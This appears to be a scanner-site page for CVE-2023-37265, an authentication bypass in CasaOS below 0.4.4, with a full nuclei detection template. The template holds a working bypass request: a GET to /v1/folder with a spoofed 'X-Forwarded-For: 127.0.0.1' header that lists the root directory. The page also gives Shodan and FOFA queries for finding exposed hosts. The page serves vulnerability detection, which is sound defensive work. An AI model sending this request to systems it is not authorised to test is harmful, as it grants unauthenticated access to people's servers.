CasaOS < 0.4.4 - Authentication Bypass via Internal IP

criticalseverity

9.8CVSS score

7.4%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.

Impact

Successful exploitation allows unauthorized access to the CasaOS system.

Fix

The problem was addressed by improving the detection of client IP addresses in 391dd7f. This patch is part of CasaOS 0.4.4.

How to confirm it

Send: GET {{BaseURL}}/v1/folder?path=%2F
Positive when: contains "\"success\":200" and "\"message\":\"ok\"" and "content" and "is_dir"

Run it with nuclei: nuclei -id CVE-2023-37265 -u <target>

The full check

id: CVE-2023-37265

info:
  name: CasaOS  < 0.4.4 - Authentication Bypass via Internal IP
  author: iamnoooob,DhiyaneshDK,pdresearch
  severity: critical
  description: |
    CasaOS is an open-source Personal Cloud system. Due to a lack of IP address verification an unauthenticated attackers can execute arbitrary commands as `root` on CasaOS instances. The problem was addressed by improving the detection of client IP addresses in `391dd7f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
  impact: |
    Successful exploitation allows unauthorized access to the CasaOS system.
  remediation: The problem was addressed by improving the detection of client IP addresses in 391dd7f. This patch is part of CasaOS 0.4.4.
  reference:
    - https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
    - https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
    - https://github.com/IceWhaleTech/CasaOS-Gateway/commit/391dd7f0f239020c46bf057cfa25f82031fc15f7
    - https://github.com/IceWhaleTech/CasaOS-Gateway/security/advisories/GHSA-vjh7-5r6x-xh6g
    - https://github.com/komodoooo/Some-things
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-37265
    cwe-id: CWE-306
    epss-score: 0.07356
    epss-percentile: 0.94454
    cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewhale
    product: casaos
    shodan-query:
      - http.html:"/CasaOS-UI/public/index.html"
      - http.html:"/casaos-ui/public/index.html"
    fofa-query:
      - body="/CasaOS-UI/public/index.html"
      - body="/casaos-ui/public/index.html"
  tags: cve,cve2023,oss,casaos,jwt,icewhale,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/folder?path=%2F"

    headers:
      X-Forwarded-For: 127.0.0.1
    matchers:
      - type: word
        words:
          - '"success":200'
          - '"message":"ok"'
          - 'content'
          - 'is_dir'
        condition: and

    extractors:
      - type: json
        json:
          - .data.content[].path

References

Use this check only on systems you are authorised to test. Where the data comes from